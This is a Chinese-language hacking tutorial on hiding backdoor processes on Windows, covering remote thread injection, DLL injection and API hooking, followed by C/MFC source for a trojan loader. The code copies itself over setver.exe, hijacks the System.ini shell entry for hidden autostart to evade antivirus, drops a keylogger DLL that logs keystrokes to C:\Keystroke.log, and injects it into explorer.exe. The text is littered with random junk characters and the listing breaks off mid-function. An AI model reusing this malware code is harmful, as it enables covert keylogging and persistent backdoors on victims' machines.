进程隐藏技术解析——DLL远程线程插入主程序
进程的隐藏人们通常谈得比较多,也是现在后门中普遍采用的技术,现在网络上很多程序都是使用它!但其中又是有三种技术最为关键,下面我们详细看看。"K&GyY t_Y6w*P
'Mv3K.prQ5H,ZZ
进程隐藏之三足鼎立
1.远程线程插入技术。这种技术可以将要实现的功能程序做成一个线程,并将此线程在运行时自动插入到常见进程中,使之作为此进程的一个线程来运行。在实现上,这个技术比较复杂,因为这个线程在目标进程中的寻址会出现问题,必须要进行地址的重定位。为了实现地址的重定位,需要将许多要用到的使用地址进行访问的函数和变量的地址保存下来,然后将这些函数和变量的名城字符串插入到目标进程中去。需要插入到目标进程中的内容包括线程的过程体,线程中要用到的所有的API函数,所有自己定义的函数,所有的全局变量,所有的字符串。也就是说,在编程实现中,需要用到上述的任何东西,都要再次在启动进程中分配存储空间,并要插入到目标进程中去,这种方法对于实现较少功能的程序来说,还可以忍受,但是,一旦程序实现的功能较多,其编程的复杂性会非常高,其不符合常规程序设计的特点也会突现,最终可能导致程序的崩溃。从总体上来分析发现,这种技术不适合功能比较多的后门控制程序的编写。
2.动态链接库插入技术。将后门程序做成一个动态链接库文件,然后仍然使用远程线程插入技术,将此动态链接库的加载语句插入到目标进程中去,并将调用动态链接库函数的语句插入到目标进程,这个函数类似于普通程序中的入口程序。这里需要提及的就是,在现有公布的文档中,似乎大家都觉得应该将实现后门功能的入口程序放在DLL_PROCESS_ATTACH或者DLL_THREAD_ATTACH分支语句处。但是我们在实验中发现,这样做会引出诸多的问题,每个进程在调用自己需要的动态链接库的时候都会调用入口函数,这样就会出现一些多次加载的错误。对于这一点,微软的文档中没有做明确的说明。
小提示:远程线程函数插入到目标进程中的程序,不能使用目标程序的消息循环,所以,对于既要使用进程隐藏,又要使用交互式程序界面的程序是不能实现的。目前使用这种方法进行隐藏的后门软件主要有PortLess BackDoor、BITS.dll、NOIR-QUEEN。+{#@j&_6WX
启动DLL后门的载体EXE是不可缺少的,也是非常重要的,它被称为:Loader。如果没有Loader,那我们的DLL后门如何启动呢?因此,一个好的DLL后门会尽力保护自己的Loader不被查杀。Loader的方式有很多,可以是为我们的DLL后门而专门编写的一个EXE文件;也可以是系统自带的Rundll32.exe,即使停止了Rundll32.exe,DLL后门的主体还是存在的。3721网络实名就是一个例子,虽然它并不是“真正”的后门。
3.Hooking API。这是比较经典的技术,这里使用“Hooking API”这个术语表示对API的完全修改,就是通过修改API函数的入口地址的方法来欺骗试图列举本地所有进程的程序。因为能够列举本地进程的API函数也就是那几个,所以,为了能够欺骗列进程程序,就要修改列进程API函数的入口地址,使别的程序在调用这些函数的时候,首先转向我们的程序,我们的程序中需要做的工作就是在列表中将自己的进程信息去掉,从而达到进程的隐藏,这种方法的实现难度更大,要求程序设计者要精通Windows下的进程、汇编器、PE文件结构和一些API函数。
首先来看运行前挂钩。这里修改我们想要修改函数来自的物理模块(大多数时候是.exe或.dll)。在这里我们至少有3种可能的做法。&Ym(ru)Xl5w;j
第一种可能是找到函数的入口点然后重写它的代码。这会因为函数的大小而受限制,但我们能动态加载其它一些模块(API LoadLibrary),所以应该足够了。H ^}#|%U%sj {F_
内核函数(kernel32.dll)是通用的,因为Windows中每个进程都有这个模块的拷贝。另一个好处是如果我们知道哪些模块在某版本中会修改,我们可以在一些API如LoadLibraryA中使用直接的指针。这是因为Kernel模块在内存中地址在相同Windows版本中是固定的。我们同样也能用动态加载的模块的作用。在这里它的初始化部分在加载进内存后立刻就运行,在新模块的初始化部分我们不受限制。7g/IaN:dx
第二种可能是在模块中被代替的函数只是原函数的扩展,然后我们选择要么修改开始的5个字节为跳转指令或者改写IAT。如果改为跳转指令,那么将会改变指令执行流程转为执行我们的代码。如果调用了IAT记录被修改的函数,我们的代码能在调用结束后被执行,但模块的扩展没那么容易,因为我们必须注意DLL首部。
第三种是修改整个模块。这意味着我们创建自己的模块版本,它能够加载原始的模块并调用原始的函数,当然我们对这个不感兴趣,但重要的函数都是被更新的。这种方法对于有的模块过大的和拥有几百个导出函数的很不方便。
接下来我们来看一下运行时挂钩的技术。
在运行前挂钩通常都非常特殊,并且是在内部面向具体的应用程序(或模块)。如果我们更换了Kernel32.dll或Ntdll.dll里的函数(只在NT操作系统里),我们就能完美地做到在所有将要运行的进程中替换这个函数,但说来容易做起来却非常难,因为我们不但得考虑精确性和需要编写比较完善的新函数或新模块,但主要问题是只有将要运行的进程才能被挂钩(要挂钩所有进程只能重启电脑)。另一个问题是如何进入这些文件,因为NT操作系统保护了它们。比较好的解决方法在进程正在运行时挂钩。这需要更多的有关知识,但最后的结果相当不错。在运行中挂钩只对能够写入它们的内存的进程能成功。为了能写入它自己我们使用API函数WriteProcessMemory。现在我们开始运行中挂钩我们的进程。
使用“Hooking API”技术的例子有*nix下RootKit,Windows2000下的NTrootkit和Hxdef等,另外病毒里的反杀毒软件的技术也经常采用。Vs5y&Hik
说了这么多,无非就是让大家了解一下当前进行进程隐藏都有哪些技术,不过,在本文中不可能将所有的技术都讲到。结合大家在论坛上比较关心的焦点问题,我在这里先对DLL的远程线程插入的Loader程序进行解析,如果以后有机会,我会继续将Hook API的技术奉献给大家,以解大家对编程的厚爱。
剑走偏锋之Loader技术i2K-G#~)ld OxYUX
我提供的这个程序本身带有木马的功能,它会自动生成一个名字为MFC42.DLL的文件,并放入%systemdir%目录下,Loader程序由Setver.exe来实现,另外所有的注册表关联选项在程序中都有明示,另外,本DLL实现了一个捕获键盘的功能,并将捕获的内容存入C:\下的Keystroke.log文件中,读者可以使用任何一种文本编辑器打开查看。%g5v NjSg1cV b
我的程序中要使用的头文件。zgj7[$x;nR
#include "stdafx.h"
#include "tlhelp32.h"
#include "ht.h"
我们这个程序中,指定要插入的目标进程为Explorer.exe,当然你可以可以根据自己的需要,来决定插入哪个进程。不过,这里选择进程的一个策略是系统常用的进程,也就说系统必须要启动的进程,因为只有这样,才能保证你的程序无论在什么时候都能插入成功。
#define TargetEXE "explorer.exe"
#define THREADSIZE 1024 * 8o cu._"b
定义一个结构体,这个结构体的成员由在线程函数中将要用到的全局变量,自定义的函数和将要调用的系统函数构成,换句话说,所有在远程线程函数中需要借助地址访问的这些变量,都要放入这个结构体中,从而实现直接按照地址访问。因为当远程线程被插入Host进程中时,面临着地址重定位的问题,而在C语言中进行地址的重定位是很难实现的。所以,我们采用变通的方法,将所有的这些需要重定位的东西都直接写入目标进程,然后通过地址来进行访问。
typedef struct _RemotePara.MA*Dwk0Yg B
{ /* 参数结构 */
char DLLPath[256];h Y9b[x2k%W
char funame[256];+@@K/F0};GQ \s
DWORD dwLoadLibrary;
DWORD dwGetProcAddress;
} RemotePara;n4DC'`]*Z
提升调试特权级别函数的声明,以使DLL能够被顺利插入目标进程中。$`$uMH%Y m+s/MZ
void EnableDebugPriv(void);OR-eA g
此函数用来将线程插入到DLL。
void inject_dll(void);Y4q0u1m(E_5\
将自己拷贝到系统目录下,并且选用相应的名称。这里,为了更好的隐蔽自己,我将替换掉%windir%下的Setver.exe程序,启用这个程序用作DLL的Loader程序。并把这个程序用作每次开机或者登陆时自动启动的关联。这里,我们为了得到.exe程序的全路径,需要使用到AfxGetApp()->m_pszHelpFilePath,这个属性可以得到本应用程序的.hlp文件的全路径,这个文件的路径跟本应用程序的路径是一致的。同时,因为得到的是.hlp文件的后缀名,而我们要的是.exe的后缀名,所以要使用函数_splitpath对.hlp的路径进行分离,然后再依次进行重组,就可以得到.exe程序的全路径。
void CopyMeToSysDir(void)
{
CString sourcepath, destpath;
char drive[_MAX_DRIVE];"H$O&lVx0p*w
char dir[_MAX_DIR];fAD$v Mz(@
char fname[_MAX_FNAME];
char ext[_MAX_EXT];
/*得到应用程序的.hlp文件路径,对路径分离后进行重组,从而得到.exe文件的全路径*/
_splitpath(::AfxGetApp()->m_pszHelpFilePath, drive, dir, fname, ext);*s0RhEp
sourcepath = drive;1VZ\o6cV$]I
sourcepath = sourcepath + dir +::AfxGetApp()->m_pszExeName + ".exe";
char tmp[256];
GetWindowsDirectory(tmp, 256);
destpath = tmp;I0xQ'Wuu7p
destpath = destpath + "\\setver.exe";
if(!stricmp(sourcepath, destpath)) return;l/w4?+Ss uM
CopyFile(sourcepath, destpath, false);
}
使用System.ini,在注册表中添加自动启动的键值,为了能够更好的隐藏自启动选项,这里我选择了不常使用的键值。这里,要用到写.ini配置文件的技术,这个程序中看似在写System.ini,实际上对System.ini的操作已经反映到了注册表中的变化,所以,从一定程度上可以实现更高的隐蔽性,从而逃避查杀。另外,对于注册表和.ini文件的读写技术,我已经在以前的《黑客防线》的编程解析中做过文章,如果有什么疑问,可以找出来阅读一下,相信对聪明的你来说肯定不成问题的。
void AddAutorun(void)
{(z/Hy|6S&];[)w
CString DirWin, DirSys, strSysContents, strSystemINI;q`z'b8}
char tmp[256];
::GetWindowsDirectory(tmp, 256);
DirWin = tmp;7r3R(?;LlFS
::GetSystemDirectory(tmp, 256);
DirSys = tmp; _#Lg4\p}w
strSysContents = DirWin + "\\explorer.exe " + DirWin + "\\setver.exe";
strSystemINI = DirWin + "\\system.ini";GI Q x[%W1K}_
WritePrivateProfileString
(
_T("boot"),
_T("shell"),
_T(strSysContents.GetBuffer(256)),#mM#l"^E8eUG
_T(strSystemINI.GetBuffer(256))3Le*]p+Z3b f~^5PV
);
}
下面这个函数的功能是将对应的API函数在DLL中的相对地址保存下来。这个函数实现的功能非常简单,无非就是从给定的DLL句柄中读出对应API函数的入口地址,我之所以要将这个功能做成一个单独的模块,就是为了增加程序的独立性而已。)[%kD;Q ky@
void SaveAddr(HINSTANCE h, char *f, DWORD *dwf)
{
*dwf = (DWORD)::GetProcAddress(h, f); a*@$F9X D'FI5\
if(!*dwf)E:W(_ b9P3Bx:@"h
{
printf("failed at GetProcAddress for %s\n", f);
}rhG&V` VVuR;k|&\
}YQ `jPH z3k
将用到地API函数在对应的DLL中的相对地址保存下来。在本程序中,ThreadProc线程函数实际上只用到了LoadLibraryA和GetProcAddress两个API函数,而这两个API函数都存在于Kernel32.dll中。
void SetFunctionAddr(RemotePara *pRP)
{)e1e X K.O+KOe
HINSTANCE hKernel32 = ::LoadLibrary("kernel32.dll");:R"Qy$tnjhm
SaveAddr(hKernel32, "LoadLibraryA", &pRP->dwLoadLibrary);2o"Sw z`Y7l3K
SaveAddr(hKernel32, "GetProcAddress", &pRP->dwGetProcAddress);
}
对于自己在DLL中定义的的函数,在这里要进行函数的类型声明,以便于在后面分配相应结构的在Host程序中的相对地址。
typedef HMODULE (__stdcall *MLoadLibrary) (LPCTSTR);9k:uZ a5_3N{gz
typedef FARPROC (__stdcall *MGetProcAddress) (HMODULE, /* handle to DLL module */ LPCSTR /* name of function */ );5kNA'GVub+u:w$H
定义远程线程的线程函数,在使用CreateRemoteThread函数创建线程的时候,将RemotePara结构体里存放的那些全局变量、自定义函数和调用的系统的API函数,作为线程函数的参数传入,在线程函数里可以通过形式参数LPara来访问。在线程函数中,我们要使用到LoadLibrary和GetProcAddress两个API函数,而这两个函数不能直接访问,所以这时候我们说的RemotePara里面保存的LoadLibrary和GetProcAddress的地址就起作用了,如果你不这样做,肯定会出现地址访问错误,要是不信可以试试看。
我们这里面要实现的最重要的功能就是将自己的DLL加载进来(如果不能加载DLL,说了半天等于白说),同时,我们的DLL中的入口函数是GetStart(HINSTANCE hInstance),这里的HInstance是我们的DLL的句柄,你可以在这里面直接传递给DLL里面的GetStart函数。做法都在里面了,剩下的就看大家的造化了。
DWORD __stdcall ThreadProc(RemotePara *LPara)|ir/Ao
{ g7Zs Ng&X+Od3a
int i, j, l;g"o`eD7];K_*Z-n
unsigned long d;2e@-\HVcb8~
char tmp[256];DG jaE ^;B9E8p
RemotePara *lpPara = LPara;
/* 定义函数 */
MLoadLibrary myLoadLibrary;
MGetProcAddress myGetProcAddress;
typedef void (__stdcall *MGetStart) (HINSTANCE);0{h2xF&|$c)J6Ek
MGetStart myGetStart;
/*将对应的函数的相对地址赋值给上面声明的函数*/
myLoadLibrary = (MLoadLibrary) lpPara->dwLoadLibrary;0N$]/KY7k\:^
myGetProcAddress = (MGetProcAddress) lpPara->dwGetProcAddress;
/*将实现后门功能的DLL加载进来*/
HINSTANCE hDllInstance = myLoadLibrary(lpPara->DLLPath);r"YqN-S
/*得到DLL中GetStart函数的入口地址*/!i0TI$d0I3}#r)U!f
myGetStart = (MGetStart) myGetProcAddress(hDllInstance, lpPara->funame);R8iA^R)_2_,i
__try
{)Z/cV/W$b
myGetStart(hDllInstance);
}+XYo!L3^h
__except(1)?/_"@ [I"`OZ
{F-h dy$F*i*@:V:iD }
};B puRo2J'B
return 0;
}
下面是将DLL插入到远程线程中的主程序。一些重要的工作都要在这里实现。
首先,在函数中我们要想办法得到目标进程的ID,因为打开进程必须通过进程的ID才能做到。这就要对存放进程列表的结构进行查找,找到对应名称的进程以后,将其ID记录下来,然后传递给OpenProcess函数。另外,为了解决地址的重定位问题,我们要在目标进程中为线程中要使用到的需要借助地址访问的变量分配内存,并把分配的内存地址记录下来,然后将这些变量的值写入分配的内存中。需要注意的是,为了能够顺利的对目标进程进行分配内存的操作,我们必须使用EnableDebugPriv()来提升我们的Loader程序的权限。这里,API函数VirtualAllocEx就可以在指定的进程的虚拟空间中进行地址的分配。因为通过CreateRemoteThread()函数是在远程进程的地址空间中创建进程,所以,它所用到的线程函数和传递给线程函数的参数,都必须存在于远程线程中。所以才有了上面的首先在远程进程中分配虚拟内存,然后将要用的变量写入分配的虚拟内存中的设计思路。eC*CH C;iW&F.a
void inject_dll(void)P/~/Z.lO DK
{!Da,^V!lK3{:e.N
int hProcess;
char dllfn[MAX_PATH];
/* 提升程序的调试特权级*/'v7B1x]0wn)QP
EnableDebugPriv();s3O9k%R0a2C?&^:? yU
/*得到实现后门功能的DLL的完全路径*/k"YJ\L^$yI8Q-B
GetSystemDirectory(dllfn, MAX_PATH);
strcat(dllfn, "\\mfc42m.dll");
/*将DLL文件从数组中直接生成*/c{eC:~)O
GenerateDLL(dllfn);z*T"qF;Q{+EN
/* find target EXE */
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;#C,?`IM(R+]
hProcess = 0;0`,|n)t#g)J(Q |d
pe32.dwSize = sizeof(PROCESSENTRY32);.YZ~A qXQ
/*使用循环找到要插入的目标进程的ID*/